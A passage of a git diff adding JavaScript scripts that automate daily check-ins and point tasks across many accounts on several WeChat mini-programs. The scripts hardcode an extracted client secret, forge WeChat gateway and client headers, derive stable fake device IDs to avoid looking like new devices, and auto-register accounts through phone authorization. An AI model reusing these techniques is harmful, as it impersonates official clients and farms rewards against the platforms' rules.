this.userInfo.userId = cached.userId || ""; + if (this.token) return; + if (!(await this.loginByCode())) { + $.log(`账号[${this.index}] code未返回token,尝试手机号授权数据登录`); + await this.loginByOperateData(); + } + } + + async api(method, urlPath, options = {}) { + let res = await request(method, urlPath, { ...options, token: this.token }); + if (res.status === 401 || Number(res.data?.code) === 401) { + $.log(`账号[${this.index}] token失效,尝试重新登录`); + this.removeToken(); + this.token = ""; + await this.ensureLogin(); + res = await request(method, urlPath, { ...options, token: this.token }); + } + return res; + } + + async querySignHome() { + const res = await this.api("get", "/client/user/signHome"); + if (res.status !== 200 || !ok(res.data)) { + throw new Error(`签到信息查询失败[${res.status}]: ${res.text.slice(0, 800)}`); + } + const data = res.data.data || {}; + const amount = data.amount ?? 0; + const integral = data.integral ?? 0; + const configs = Array.isArray(data.configs) ? data.configs : []; + const today = configs.find((item) => Number(item.signStatus) === 0) || configs.find((item) => item.today); + const signed = configs.some((item) => Number(item.signStatus) === 1 && item.today); + $.log(`账号[${this.index}] 查询: 积分${integral},红包${amount}`); + if (configs.length) { + const statusText = configs + .map((item) => `第${item.dayNum ?? item.days ?? "?"}天:${["未签", "已签", "可补签"][Number(item.signStatus)] || item.signStatus}`) + .join(";"); + $.log(`账号[${this.index}] 签到日历: ${statusText}`); + } + return { data, today, signed }; + } + + async sign(signInfo) { + if (!signInfo?.today?.logId) { + $.log(`账号[${this.index}] 未找到今日可签到记录,可能已签到或活动未开放`); + return; + } + const res = await this.api("post", "/client/user/sign", { + data: { logId: signInfo.today.logId }, + }); + if (res.status === 200 && ok(res.data)) { + $.log(`账号[${this.index}] 签到成功: ${res.data.msg || "成功"}`); + return; + } + const msg = res.data?.msg || res.data?.message || res.text.slice(0, 500); + if (/已签|重复|already/i.test(msg)) $.log(`账号[${this.index}] 今日已签到: ${msg}`); + else $.log(`账号[${this.index}] 签到失败[${res.status}]: ${msg}`); + } + + async queryTaskHome() { + const res = await this.api("get", "/client/user/taskHome"); + if (res.status !== 200 || !ok(res.data)) { + $.log(`账号[${this.index}] 任务信息查询失败[${res.status}]: ${res.text.slice(0, 500)}`); + return null; + } + const data = res.data.data || {}; + $.log(`账号[${this.index}] 任务中心: 积分${data.integral ?? 0},红包${data.amount ?? 0}`); + const todayTask = Array.isArray(data.todayTask) ? data.todayTask : []; + const experienceTask = Array.isArray(data.experienceTask) ? data.experienceTask : []; + if (todayTask.length) $.log(`账号[${this.index}] 每日任务: ${taskSummary(todayTask)}`); + if (experienceTask.length) $.log(`账号[${this.index}] 体验任务: ${taskSummary(experienceTask)}`); + return data; + } + + async submitTask(task) { + const id = task.id || task.configId; + if (!id) return false; + const res = await this.api("post", "/client/user/taskSub", { + data: { configId: id }, + }); + if (res.status === 200 && ok(res.data)) { + $.log(`账号[${this.index}] 任务提交成功: ${taskName(task)} ${res.data.msg || ""}`); + return true; + } + const msg = res.data?.msg || res.data?.message || res.text.slice(0, 500); + $.log(`账号[${this.index}] 任务提交失败: ${taskName(task)},${msg}`); + return false; + } + + async doDailyTasks(taskHome = null) { + const data = taskHome || (await this.queryTaskHome()); + if (!data) return; + const todayTask = Array.isArray(data.todayTask) ? data.todayTask : []; + const runnable = todayTask.filter((task) => { + const total = Number(task.num || 1); + const done = Number(task.completeCount || 0); + return done < total && AUTO_TASK_TYPES.has(Number(task.functionType)); + }); + if (!runnable.length) { + $.log(`账号[${this.index}] 每日任务: 暂无可自动执行任务`); + return; + } + + for (const task of runnable) { + const total = Number(task.num || 1); + let done = Number(task.completeCount || 0); + const waitSeconds = Math.max(0, Number(task.second || 0)); + while (done < total) { + $.log(`账号[${this.index}] 执行每日任务: ${taskName(task)} ${done + 1}/${total}`); + if (waitSeconds > 0) await $.wait(waitSeconds * 1000 + 500, waitSeconds * 1000 + 1800); + const success = await this.submitTask(task); + if (!success) break; + done += 1; + await $.wait(800, 1500); + } + } + } + + async run() { + await this.ensureLogin(); + const signInfo = await this.querySignHome(); + await this.sign(signInfo); + await this.querySignHome(); + const taskHome = await this.queryTaskHome(); + await this.doDailyTasks(taskHome); + await this.queryTaskHome(); + this.saveCache(); + } +} + +!(async () => { + $.checkEnv(ckName); + for (const account of $.userList) { + try { + await new Task(account).run(); + } catch (e) { + $.log(`账号执行异常: ${e.message || e}`); + } + await $.wait(800, 1500); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done && $.done()); diff --git a/wxapp/yingshujufeng.js b/wxapp/yingshujufeng.js new file mode 100644 index 00000000..be283906 --- /dev/null +++ b/wxapp/yingshujufeng.js @@ -0,0 +1,289 @@ +/* +------------------------------------------ +@Author: sm +@Date: 2026.05.31 +@Description: 影视飓风小程序签到 +cron: 28 8 * * * +------------------------------------------ +变量名:yingshijufeng +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("影视飓风小程序签到"); +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const MINI_APP_ID = "wx92782ef90ebc836d"; +const CLIENT_ID = "4d65249d377b2c3ed8"; +const CLIENT_SECRET = "1cdc05151d64f3a4a6ebd0e9de64422a"; +const GRANT_TYPE = "yz_union"; +const CLIENT_BIZ = "weapp_wsc"; +const KDT_ID = "149536603"; +const USER_VERSION = "2.226.7.101"; +const PAGE_VERSION = "17"; +const API_BASE = "https://h5.youzan.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yingshijufeng_token_cache.json"); +const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) MicroMessenger/3.9.12 MiniProgramEnv/Windows WindowsWechat/WMPF"; + +let ckName = "yingshijufeng"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readTokenCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeTokenCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function maskPhone(phone = "") { + return String(phone).replace(/^(\d{3})\d{4}(\d{4})$/, "$1****$2"); +} + +function pickToken(data = {}) { + return data.accessToken || data.access_token || ""; +} + +function isTokenError(message) { + return /access_token|token|登录|授权|invalid session|session/i.test(String(message || "")); +} + +class Task { + constructor(openid) { + this.index = $.userIdx++; + this.openid = String(openid || "").trim(); + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + this.kdtId = KDT_ID; + this.userInfo = {}; + } + + async run() { + const cached = this.getCachedToken(); + if (cached) { + this.applyToken(cached); + $.log(`账号[${this.index}] 使用缓存token`); + if (!(await this.checkToken())) { + this.removeCachedToken(); + $.log(`账号[${this.index}] 缓存token失效,重新登录`); + } + } + + if (!this.token) { + await this.loginByWxCode(); + if (!this.token) return; + } + + await this.showCheckinPage(); + await this.doCheckin(); + await this.getPoints(); + } + + getCachedToken() { + const cache = readTokenCache(); + return cache[this.openid] || null; + } + + saveCachedToken() { + if (!this.token) return; + const cache = readTokenCache(); + cache[this.openid] = { + accessToken: this.token, + sessionId: this.sessionId, + kdtId: this.kdtId, + cookie: this.cookie, + mobile: this.userInfo.mobile || "", + nickName: this.userInfo.nick_name || this.userInfo.nickName || "", + updatedAt: new Date().toISOString(), + }; + writeTokenCache(cache); + } + + removeCachedToken() { + const cache = readTokenCache(); + if (cache[this.openid]) { + delete cache[this.openid]; + writeTokenCache(cache); + } + this.token = ""; + this.sessionId = ""; + this.cookie = ""; + } + + applyToken(data = {}) { + this.token = pickToken(data); + this.sessionId = data.sessionId || data.session_id || ""; + this.kdtId = String(data.kdtId || data.kdt_id || KDT_ID); + this.cookie = data.cookie || ""; + } + + getHeaders(extra = {}) { + const headers = { + "User-Agent": USER_AGENT, + "Referer": `https://servicewechat.com/${MINI_APP_ID}/${PAGE_VERSION}/page-frame.html`, + "Accept": "*/*", + "Extra-Data": JSON.stringify({ + sid: this.sessionId || "", + version: USER_VERSION, + clientType: "weapp-miniprogram", + client: "weapp", + bizEnv: "wsc", + }), + ...extra, + }; + if (this.cookie) headers.Cookie = this.cookie; + return headers; + } + + getBaseParams(params = {}) { + return { + app_id: MINI_APP_ID, + kdt_id: this.kdtId, + access_token: this.token, + ...params, + }; + } + + async request({ method = "GET", path: apiPath, params = {}, data = {}, skipToken = false }) { + const options = { + method, + url: `${API_BASE}${apiPath.startsWith("/") ? apiPath : `/${apiPath}`}`, + headers: this.getHeaders(method === "POST" ? { "Content-Type": "application/json" } : {}), + timeout: 15000, + validateStatus: () => true, + }; + options.params = skipToken ? params : this.getBaseParams(params); + if (method !== "GET") options.data = data; + + const { data: result, status, headers } = await axios.request(options); + if (headers["set-cookie"]) { + this.cookie = headers["set-cookie"].map((item) => item.split(";")[0]).join("; "); + } + if (status !== 200) throw new Error(`HTTP ${status}: ${JSON.stringify(result)}`); + if (!result || result.code !== 0) throw new Error(result?.msg || JSON.stringify(result)); + return result.data; + } + + async getLoginCode() { + const { data } = await wechat.getCode(this.openid); + const code = data?.code || data?.data?.code; + if (!code) throw new Error(`wx_server 未返回 code: ${JSON.stringify(data)}`); + return code; + } + + async authorize(code, data) { + return this.request({ + method: "POST", + path: "/wscshop/weapp/authorize.json", + skipToken: true, + data: { ...data, code }, + }); + } + + async loginByWxCode() { + try { + const code = await this.getLoginCode(); + let data; + try { + data = await this.authorize(code, { + appId: MINI_APP_ID, + clientId: CLIENT_ID, + clientSecret: CLIENT_SECRET, + grantType: GRANT_TYPE, + }); + } catch (e) { + data = await this.authorize(code, { + appId: MINI_APP_ID, + clientBiz: CLIENT_BIZ, + }); + } + this.applyToken(data); + this.userInfo = data || {}; + this.saveCachedToken(); + $.log(`账号[${this.index}] 登录成功: ${data.nick_name || data.nickName || ""} ${maskPhone(data.mobile) || ""}`); + } catch (e) { + $.log(`账号[${this.index}] 登录失败: ${e.message || e}`); + } + } + + async checkToken() { + try { + await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + return true; + } catch (e) { + return false; + } + } + + async showCheckinPage() { + try { + const data = await this.request({ path: "/wscump/checkin/show_checkin_page_v2.json" }); + this.checkinId = data?.checkinId; + this.isShow = !!data?.isShow; + $.log(`账号[${this.index}] 签到活动: checkinId=${this.checkinId || "未获取"} isShow=${this.isShow}`); + } catch (e) { + $.log(`账号[${this.index}] 获取签到活动失败: ${e.message || e}`); + if (isTokenError(e.message || e)) this.removeCachedToken(); + } + } + + async doCheckin() { + if (!this.checkinId) { + $.log(`账号[${this.index}] 未获取到 checkinId,跳过签到`); + return; + } + try { + const data = await this.request({ + path: "/wscump/checkin/checkinV2.json", + params: { checkinId: this.checkinId }, + }); + const awards = (data?.list || []).map((item) => item?.infos?.title).filter(Boolean).join(", "); + $.log(`账号[${this.index}] 签到成功: ${data?.desc || ""}${awards ? ` ${awards}` : ""}`); + } catch (e) { + const message = String(e.message || e); + if (/已达最大参与次数|已签到|重复签到/.test(message)) { + $.log(`账号[${this.index}] 今日已签到`); + return; + } + $.log(`账号[${this.index}] 签到失败: ${message}`); + if (isTokenError(message)) this.removeCachedToken(); + } + } + + async getPoints() { + try { + const data = await this.request({ path: "/wscump/integral/user_points.json" }); + $.log(`账号[${this.index}] 当前积分: ${data?.current_points ?? data?.real_points ?? "未知"}`); + } catch (e) { + $.log(`账号[${this.index}] 查询积分失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + for (const openid of $.userList) { + await new Task(openid).run(); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yipiaoda.js b/wxapp/yipiaoda.js new file mode 100644 index 00000000..df3f297e --- /dev/null +++ b/wxapp/yipiaoda.js @@ -0,0 +1,350 @@ +/* +------------------------------------------ +@Description: 华润壹票达 - 微信小程序登录 + 每日签到 +cron: 44 8 * * * +------------------------------------------ +变量名:yipiaoda +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 + +可选开关: +yipiaoda_phone_login 默认 1。首次登录若服务端只回 authToken(说明这个微信号还没绑过), + 脚本会走 /wx/getphonenumber 完成手机号授权把账号建起来。 + 置 0 则不做授权,只打印提示。 +------------------------------------------ +契约(appid wx70c418a86bc52a9f,host crld.caiyicloud.com): + +每个请求都带一组公共查询串和一组固定请求头: + query currency=CNY&lang=zh&terminalSrc=WEIXIN_MINI&utcOffset=480&ver=4.63.0 + headers src / terminal-src / merchant-id / ver / utc-offset / front-trace-id + 鉴权时再加 access-token + +登录分两段(实测这个账号必须走第二段): + ① POST /cyy_gatewayapi/mcommon/pub/v1/union_login + {src, merchantId, ver, appId, unionType:"WEIXIN_MINI", + wxParam:{code}, deviceInfo:{volcWebId}} + -> statusCode==200;已绑账号直接给 data.accessToken, + 没绑的只给 data.authToken + data.openId + ② POST /cyy_gatewayapi/mcommon/pub/v1/union_login/authorization + {…, authToken, openId, + wxParam:{openId, encryptPhoneNumber, initVector, authCode}, invitePageId:"", + deviceInfo:{volcWebId}} + encryptPhoneNumber/initVector 来自 smallcat /wx/getphonenumber 的 data.raw + (encryptedData / iv),authCode 是它的 data.code + -> statusCode==200,data.accessToken + +签到 POST /cyy_gatewayapi/user/buyer/v1/check_in {src, merchantId, ver, appId} + -> statusCode==200,data.rewardAggPackage 里是本次奖励,data.streakCheckInDays 连续天数 +日历 GET /cyy_gatewayapi/user/buyer/v1/check_in_calendar(只读,用来判断今天签没签) + +成功判定是 statusCode==200(不是 code),失败原因在 comments。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("华润壹票达"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "yipiaoda"; +const MINI_APP_ID = "wx70c418a86bc52a9f"; +const BASE = "https://crld.caiyicloud.com"; +const MERCHANT_ID = "6942616f50ef5900011a1d2e"; +const VER = "4.63.0"; +const SRC = "weixin_mini"; +const TERMINAL_SRC = "WEIXIN_MINI"; +const UTC_OFFSET = "480"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yipiaoda_token_cache.json"); +const PHONE_LOGIN = String(process.env.yipiaoda_phone_login ?? "1") !== "0"; +const USER_AGENT = + "Mozilla/5.0 (Linux; Android 12; M2012K11AC Build/SKQ1.220303.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Version/4.0 Chrome/134.0.6998.136 Mobile Safari/537.36 MicroMessenger/8.0.48.2580(0x28003036) MiniProgramEnv/android"; + +const EP_UNION_LOGIN = "/cyy_gatewayapi/mcommon/pub/v1/union_login"; +const EP_UNION_AUTH = "/cyy_gatewayapi/mcommon/pub/v1/union_login/authorization"; +const EP_CHECK_IN = "/cyy_gatewayapi/user/buyer/v1/check_in"; +const EP_CALENDAR = "/cyy_gatewayapi/user/buyer/v1/check_in_calendar"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 220) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => Number(res?.statusCode) === 200; +const msgOf = (res) => res?.comments || res?.errorCode || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (t) => /登录|token|未授权|未登录|失效|过期|重新/i.test(String(t || "")); + +function commonQuery() { + return { currency: "CNY", lang: "zh", terminalSrc: TERMINAL_SRC, utcOffset: UTC_OFFSET, ver: VER }; +} + +/** 本月区间(毫秒),日历接口要 */ +function monthRangeMs() { + const now = new Date(); + const begin = new Date(now.getFullYear(), now.getMonth(), 1).getTime(); + const end = new Date(now.getFullYear(), now.getMonth() + 1, 0, 23, 59, 59).getTime(); + return { begin, end }; +} + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + // volcWebId 按 openid 稳定派生:同一账号每次跑都一样,避免每次都像新设备 + const h = crypto.createHash("md5").update(String(this.account.openid || raw)).digest("hex"); + this.volcWebId = String(BigInt("0x" + h.slice(0, 15)) % 9000000000000000000n + 1000000000000000000n); + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + headers(withToken = true) { + return { + "Content-Type": "application/json", + Accept: "application/json, text/plain, */*", + "User-Agent": USER_AGENT, + Referer: `https://servicewechat.com/${MINI_APP_ID}/0/page-frame.html`, + xweb_xhr: "1", + src: SRC, + "terminal-src": TERMINAL_SRC, + "merchant-id": MERCHANT_ID, + ver: VER, + "utc-offset": UTC_OFFSET, + "front-trace-id": crypto.randomBytes(16).toString("hex"), + ...(withToken && this.token ? { "access-token": this.token } : {}), + }; + } + + async request(method, apiPath, { query = null, body = null, withToken = true } = {}) { + const res = await axios.request({ + method, + url: `${BASE}${apiPath}`, + params: { ...commonQuery(), ...(query || {}) }, + data: method.toUpperCase() === "GET" ? undefined : body || {}, + headers: this.headers(withToken), + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + /** 手机号授权包:code 用于 authCode,raw 里的 encryptedData/iv 用于加密手机号 */ + async getPhonePackage() { + const { data } = await axios.post( + `${wechat.serverUrl}/wx/getphonenumber`, + { appid: MINI_APP_ID, openid: this.account.openid }, + { headers: { auth: wechat.auth }, timeout: 60000, validateStatus: () => true } + ); + if (!data?.status) throw new Error(`取手机号授权包失败: ${data?.message || short(data)}`); + const d = data.data || {}; + const raw = d.raw || {}; + return { + authCode: String(d.code || raw.code || ""), + encryptPhoneNumber: raw.encryptedData || "", + initVector: raw.iv || "", + }; + } + + baseBody() { + return { src: SRC, merchantId: MERCHANT_ID, ver: VER, appId: MINI_APP_ID }; + } + + async login() { + const code = await this.getCode(); + const first = await this.request("POST", EP_UNION_LOGIN, { + withToken: false, + body: { + ...this.baseBody(), + unionType: TERMINAL_SRC, + wxParam: { code }, + deviceInfo: { volcWebId: this.volcWebId }, + }, + }); + if (!isOk(first)) throw new Error(`union_login 失败: ${msgOf(first)}`); + const d1 = first.data || {}; + if (d1.accessToken) { + this.token = String(d1.accessToken); + this.saveToken(); + this.log("登录成功(已绑账号,直接拿到 access-token)"); + return; + } + + // 只回 authToken 说明这个微信号还没在壹票达绑过,要用手机号授权把账号建起来 + if (!d1.authToken || !d1.openId) { + throw new Error(`union_login 既没给 accessToken 也没给 authToken: ${short(first)}`); + } + if (!PHONE_LOGIN) { + throw new Error( + "该微信号还没在壹票达绑定(服务端只回 authToken)。" + + "把变量 yipiaoda_phone_login 设为 1 可自动走手机号授权,或在小程序里手动登录一次" + ); + } + this.log("未绑账号,走手机号授权完成注册"); + const phone = await this.getPhonePackage(); + if (!phone.authCode && !phone.encryptPhoneNumber) { + throw new Error("手机号授权包里既没有 authCode 也没有 encryptedData,无法完成 authorization"); + } + const second = await this.request("POST", EP_UNION_AUTH, { + withToken: false, + body: { + ...this.baseBody(), + unionType: TERMINAL_SRC, + authToken: d1.authToken, + openId: d1.openId, + wxParam: { + openId: d1.openId, + encryptPhoneNumber: phone.encryptPhoneNumber, + initVector: phone.initVector, + authCode: phone.authCode, + }, + invitePageId: "", + deviceInfo: { volcWebId: this.volcWebId }, + }, + }); + if (!isOk(second)) throw new Error(`手机号授权失败: ${msgOf(second)}`); + const token = (second.data || {}).accessToken; + if (!token) throw new Error(`授权成功但没返回 accessToken: ${short(second)}`); + this.token = String(token); + this.saveToken(); + this.log("登录成功(手机号授权)"); + } + + saveToken() { + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + } + + async ensureLogin() { + const cached = readCache()[this.account.openid] || {}; + if (!this.token && cached.token) { + this.token = cached.token; + if (await this.queryCalendar(false)) { + this.log("使用缓存token"); + return; + } + this.log("缓存token失效,重新登录"); + this.token = ""; + } + if (!this.token) await this.login(); + } + + /** + * 只读,用来报连续天数 + 校验 token 是否还活着。 + * 不用它判「今天签没签」——日历里那个已签标记的字段名没核实过, + * 实测会把已签的一天判成未签;签到接口本身回「今日已签」,靠它幂等更稳。 + */ + async queryCalendar(needLog = true) { + const { begin, end } = monthRangeMs(); + const res = await this.request("GET", EP_CALENDAR, { + query: { + src: SRC, merchantId: MERCHANT_ID, appId: MINI_APP_ID, + pageSource: "TASK_CENTER", beginDate: String(begin), endDate: String(end), + }, + }); + if (!isOk(res)) { + if (needLog) this.log(`读取签到日历失败: ${msgOf(res)}`); + return false; + } + const d = res.data || {}; + if (needLog) this.log(`签到状态: 连续 ${d.streakCheckInDays ?? "?"} 天`); + return true; + } + + async sign(retry = true) { + const res = await this.request("POST", EP_CHECK_IN, { body: this.baseBody() }); + if (isOk(res)) { + const d = res.data || {}; + const rewards = (d.rewardAggPackage || []) + .map((r) => `${r.reward}${r.rewardType === "POINT" ? "积分" : r.rewardType || ""}`) + .join(" "); + this.log(`✅ 签到成功${rewards ? `: ${rewards}` : ""}(连续 ${d.streakCheckInDays ?? "?"} 天)`); + return; + } + if (isAlreadyDone(msgOf(res))) return this.log(`✅ 今日已签到(${msgOf(res)})`); + if (retry && isAuthError(msgOf(res))) { + this.log("会话失效,重新登录后重试"); + this.token = ""; + await this.login(); + return this.sign(false); + } + this.log(`❌ 签到失败: ${msgOf(res)}`); + } + + async run() { + if (!this.account.openid) { + this.log("跳过:变量值里没有 openid"); + return; + } + try { + await this.ensureLogin(); + await this.queryCalendar(); + await this.sign(); + } catch (e) { + this.log(`执行失败: ${e.message || e}`); + } + } +} + +!(async () => { + $.checkEnv(ckName); + if (!$.userCount) { + $.log(`未找到变量 ${ckName}`); + return; + } + for (let i = 0; i < $.userList.length; i++) { + await new Task($.userList[i]).run(); + if (i < $.userList.length - 1) await $.wait(1500, 3000); + } +})() + .catch((e) => $.log(e.message || e)) + .finally(() => $.done()); diff --git a/wxapp/yjlxh.js b/wxapp/yjlxh.js new file mode 100644 index 00000000..441b0e08 --- /dev/null +++ b/wxapp/yjlxh.js @@ -0,0 +1,272 @@ +/* +------------------------------------------ +@Description: 伊家乐享会(伊利数字化)- 微信小程序静默登录 + 每日签到 +cron: 42 8 * * * +------------------------------------------ +变量名:yjlxh +变量值:wx_server 里的 openid/账号标识,多账号用 & 或换行分隔(可加 #备注) + +依赖变量: +wx_server_url 默认 http://192.168.31.196:8787 +wx_auth 必填,wx_server 鉴权值 +------------------------------------------ +契约(appid wxd606233dfaf91cae,host msmarket.msx.digitalyili.com/gateway/api): + +信封 {status, data, error, contextId},成功 status===true。请求要带一组**微信云托管网关 +模拟头**(X-WX-HTTP-MODE:REROUTE / x-wx-route-tag:<网关域> / x-envoy-expected-rq-timeout-ms +等)+ 固定头 tenant-id:1820778859526668290。网关域 a1d5e5ea9-wx621112590b635086.sh.wxgateway.com +(注意路由标签里的 appid 是伊利矩阵主号 wx621112590b635086,不是本店 appid)。 + +登录 POST /auth/account/login {jsCode:} + -> data.{accessToken, userInfo, registerKey} + **只有已注册会员才回 data.accessToken**;未注册时只回 registerKey + userInfo + (userInfo 里没有会员身份,需走注册流程),此时无法签到。 + accessToken 之后放请求头 access-token。 +资料 GET /auth/account/user/info +积分 GET /member/point +状态 GET /member/sign/status ; 配置 /member/sign/config +签到 POST /member/daily/sign {} -> status===true 即成功 + +⚠️ 实测:登录链路 + 网关头**已实测连通**(服务端回 status:true 并给出 userInfo), +但本测试号未在伊家乐享会注册会员,服务端只回 registerKey 不发 accessToken, +因此签到接口未能实测,只按解包/采集契约实现。已注册的号跑起来即可验证。 +不做:每日分享得分、上传微信步数、任务中心里的浏览/广告类任务。 +------------------------------------------ +*/ + +const { Env } = require("../tools/env.js"); +const $ = new Env("伊家乐享会"); +const axios = require("axios"); +const crypto = require("crypto"); +const fs = require("fs"); +const path = require("path"); +const WeChatServer = require("./wcs.js"); + +const ckName = "yjlxh"; +const MINI_APP_ID = "wxd606233dfaf91cae"; +const HOST = "https://msmarket.msx.digitalyili.com/gateway/api"; +const TENANT_ID = "1820778859526668290"; +const GATEWAY_DOMAIN = "a1d5e5ea9-wx621112590b635086.sh.wxgateway.com"; +const TOKEN_CACHE_FILE = path.join(__dirname, "yjlxh_token_cache.json"); +const MOBILE_UA = + "Mozilla/5.0 (iPhone; CPU iPhone OS 18_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) " + + "Mobile/15E148 MicroMessenger/8.0.58(0x18003a35) NetType/WIFI Language/zh_CN MiniProgramEnv/iOS"; + +const EP_LOGIN = "/auth/account/login"; +const EP_USER = "/auth/account/user/info"; +const EP_POINT = "/member/point"; +const EP_SIGN_STATUS = "/member/sign/status"; +const EP_SIGN = "/member/daily/sign"; + +const wechat = new WeChatServer({ + url: process.env.wx_server_url || "http://192.168.31.196:8787", + appid: MINI_APP_ID, + auth: process.env.wx_auth || "", +}); + +function readCache() { + try { + if (!fs.existsSync(TOKEN_CACHE_FILE)) return {}; + return JSON.parse(fs.readFileSync(TOKEN_CACHE_FILE, "utf8")) || {}; + } catch (e) { + return {}; + } +} + +function writeCache(cache) { + try { + fs.writeFileSync(TOKEN_CACHE_FILE, JSON.stringify(cache, null, 2), "utf8"); + } catch (e) { + $.log(`写入token缓存失败: ${e.message || e}`); + } +} + +function parseAccount(raw = "") { + const [id, remark] = String(raw).split("#").map((s) => (s || "").trim()); + return { openid: id, remark: remark || "" }; +} + +function short(v, n = 200) { + const t = typeof v === "string" ? v : JSON.stringify(v); + return !t ? "" : t.length > n ? `${t.slice(0, n)}...` : t; +} + +const isOk = (res) => !!res && res.status === true; +const msgOf = (res) => res?.error || res?.message || res?.msg || short(res); +const isAlreadyDone = (t) => /已签|已经签|签到过|重复|已完成|already/i.test(String(t || "")); +const isAuthError = (res) => /token|登录|未授权|失效|过期|401/i.test(msgOf(res)); + +class Task { + constructor(raw) { + this.index = $.userIdx++; + this.account = parseAccount(raw); + this.token = ""; + } + + log(text) { + $.log(`账号[${this.index}]${this.account.remark ? `[${this.account.remark}]` : ""} ${text}`); + } + + gatewayHeaders() { + const callId = `${Date.now()}-${crypto.randomBytes(4).toString("hex")}`; + return { + "X-WX-HTTP-MODE": "REROUTE", + "X-WX-CONF-VERSION": "0", + "x-wx-call-id": callId, + "x-wx-route-tag": GATEWAY_DOMAIN, + "x-envoy-expected-rq-timeout-ms": "15000", + }; + } + + async request(apiPath, { method = "GET", body = null, query = null, token = "" } = {}) { + const headers = { + Accept: "application/json, text/plain, */*", + "Content-Type": "application/json", + Origin: "https://servicewechat.com", + Referer: `https://servicewechat.com/${MINI_APP_ID}/122/page-frame.html`, + "User-Agent": MOBILE_UA, + "access-token": token || "", + scene: "", + "source-type": "", + "tenant-id": TENANT_ID, + xweb_xhr: "1", + ...this.gatewayHeaders(), + }; + const isGet = method.toUpperCase() === "GET"; + const qs = isGet && query + ? "?" + Object.entries(query).map(([k, v]) => `${k}=${encodeURIComponent(v)}`).join("&") + : ""; + const res = await axios.request({ + method, + url: `${HOST}${apiPath}${qs}`, + data: isGet ? undefined : body || {}, + headers, + timeout: 20000, + validateStatus: () => true, + }); + if (res.status !== 200) { + if (res.data && typeof res.data === "object") return res.data; + throw new Error(`${apiPath} HTTP ${res.status}: ${short(res.data)}`); + } + return res.data; + } + + /** wcs.getCode 在 status:false 时也 resolve,必须自己判失败,否则取码限流会被误报成登录失败 */ + async getCode() { + const { data } = await wechat.getCode(this.account.openid); + if (data && data.status === false) { + throw new Error(`wx_server 取code失败: ${data.message || short(data)}`); + } + const code = data?.data?.code || data?.code; + if (!code || typeof code !== "string") throw new Error(`wx_server 未返回 code: ${short(data)}`); + return code; + } + + async login() { + const code = await this.getCode(); + const res = await this.request(EP_LOGIN, { method: "POST", body: { jsCode: code } }); + if (!isOk(res)) throw new Error(`登录失败: ${msgOf(res)}`); + const d = res.data || {}; + this.token = String(d.accessToken || ""); + if (!this.token) { + // 只回 registerKey 不回 accessToken = 该微信号未注册会员 + this.unregistered = !!d.registerKey; + throw new Error("NO_TOKEN"); + } + const cache = readCache(); + cache[this.account.openid] = { token: this.token, updatedAt: new Date().toISOString() }; + writeCache(cache); + this.log("登录成功"); + } + + /** 读积分/签到状态;会话失效返回 null */ + async signStatus(needLog = true) { + const res = await this.request(EP_SIGN_STATUS, { token: this.token }); + if (!isOk(res)) { + if (isAuthError(res)) return null; + if (needLog) this.log(`读取签到状态失败: 